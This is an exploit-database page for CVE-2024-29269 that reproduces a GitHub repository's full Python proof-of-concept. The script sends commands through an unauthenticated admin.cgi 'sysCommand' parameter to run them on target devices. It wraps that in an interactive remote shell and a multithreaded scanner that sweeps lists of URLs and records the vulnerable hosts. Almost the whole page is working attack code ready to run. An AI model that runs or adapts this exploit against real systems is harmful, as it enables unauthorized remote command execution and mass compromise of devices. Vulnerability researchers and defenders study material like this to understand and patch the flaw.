Exploit database

GH-9886cd67cc4d1fa9c46c9039ff22325b

chocapikk/cve-2024-29269

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-29269

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
chocapikk/cve-2024-29269Revision 3e4ee7f0fd41

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 6,936 bytes
import sys
import requests
import rich_click as click
import xml.etree.ElementTree as ET

from pathlib import Path
from typing import List, Optional
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()
click.rich_click.USE_MARKUP = True

class SystemUtilScanner:
    def __init__(self, num_threads: int, output_file: Optional[str] = None):
        self.num_threads = num_threads
        self.output_file = output_file
        self.results = []

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

    def fetch_response(
        self,
        url: str,
        command: str = "hostname",
        verbose: bool = False,
        interactive: bool = False,
    ) -> Optional[str]:
        endpoint = f"/cgi-bin/admin.cgi?Command=sysCommand&Cmd={command}"
        full_url = url.rstrip("/") + endpoint

        response = self.safe_request(full_url, verbose)
        if not response:
            return None

        results = self.parse_xml_response(response, verbose)
        if not results:
            if verbose:
                self.custom_print(
                    f"No command results found in response from {url}", "-"
                )
            return None

        result_message = "\n".join(results)
        if not interactive:
            self.custom_print(
                f"Vulnerable URL: {url} - Command results: {result_message}", "+"
            )
        return result_message

    def safe_request(self, url, verbose):
        try:
            response = requests.get(url, verify=False, timeout=5)
            if not response.ok:
                if verbose:
                    self.custom_print(
                        f"Failed at {url} with status code {response.status_code}", "-"
                    )
                return None
            return response
        except requests.exceptions.RequestException as e:
            if verbose:
                self.custom_print(f"Error accessing {url}: {str(e)}", "-")
            return None

    def parse_xml_response(self, response, verbose):
        try:
            root = ET.fromstring(response.text)
            return [
                cmd_result.text.strip()
                for cmd_result in root.findall("CmdResult")
                if cmd_result.text
            ]
        except ET.ParseError as e:
            if verbose:
                self.custom_print(
                    f"Failed to parse XML response from {response.url}: {str(e)}", "-"
                )
        except Exception as e:
            if verbose:
                self.custom_print(
                    f"Error processing XML response from {response.url}: {str(e)}", "-"
                )
        return []

    def scan_urls(self, urls: List[str]) -> None:
        with ThreadPoolExecutor(max_workers=self.num_threads) as executor:
            with alive_bar(len(urls), enrich_print=False) as bar:
                futures = {executor.submit(self.fetch_response, url): url for url in urls}
                for future in as_completed(futures):
                    url = futures[future]
                    try:
                        result = future.result()
                        if result:
                            self.results.append(url)
                    except Exception as e:
                        self.custom_print(f"Error processing URL {url}: {str(e)}", "-")
                    finally:
                        bar()

        if self.results and self.output_file:
            self.write_results(self.results)

    def write_results(self, results: List[str]) -> None:
        try:
            with open(self.output_file, "a") as file:
                file.writelines(f"{result}\n" for result in results)
        except IOError as e:
            self.custom_print(f"Failed to write to file: {e}", "-")

    def interactive_shell(self, url: str):
        session = PromptSession(history=InMemoryHistory())
        while True:
            try:
                cmd = session.prompt(
                    HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
                ).strip()
                if cmd.lower() == "exit":
                    break
                if cmd.lower() == "clear":
                    sys.stdout.write("\x1b[2J\x1b[H")
                    continue

                response = self.fetch_response(url, cmd, verbose=True, interactive=True)
                if response:
                    self.custom_print(f"Result:\n\n{response}", "*")
                else:
                    self.custom_print(
                        "Failed to receive response from the server.", "-"
                    )

            except KeyboardInterrupt:
                self.custom_print("Exiting interactive shell...", "!")
                sys.exit(1)


@click.command()
@click.option(
    "-u", 
    "--url", 
    default=None, 
    help="Single URL to test interactively"
)
@click.option(
    "-f",
    "--file",
    type=click.Path(exists=True, readable=True),
    default=None,
    help="File containing target URLs to scan",
)
@click.option(
    "-t",
    "--threads",
    default=50,
    type=int,
    help="Number of threads to use for scanning",
)
@click.option(
    "-o",
    "--output",
    type=click.Path(writable=True),
    default=None,
    help="File to write vulnerable URLs to",
)
def cli(url: Optional[str], file: Optional[str], threads: int, output: Optional[str]):
    scanner = SystemUtilScanner(num_threads=threads, output_file=output)

    if url:
        initial_response = scanner.fetch_response(url, verbose=True)
        if initial_response:
            scanner.custom_print(
                "Initial command execution successful. Entering interactive shell mode...",
                "+",
            )
            scanner.interactive_shell(url)
        else:
            scanner.custom_print(
                "The URL does not appear to be vulnerable or could not be reached.", "-"
            )
    elif file:
        urls = []
        with open(file, "r") as f:
            urls.extend(f.read().splitlines())

        if not urls:
            scanner.custom_print("No URLs provided to scan.", "-")
            return

        scanner.scan_urls(urls)
    else:
        click.echo(
            "Please specify either a URL for interactive testing or a file for batch scanning.",
            err=True,
        )


if __name__ == "__main__":
    cli()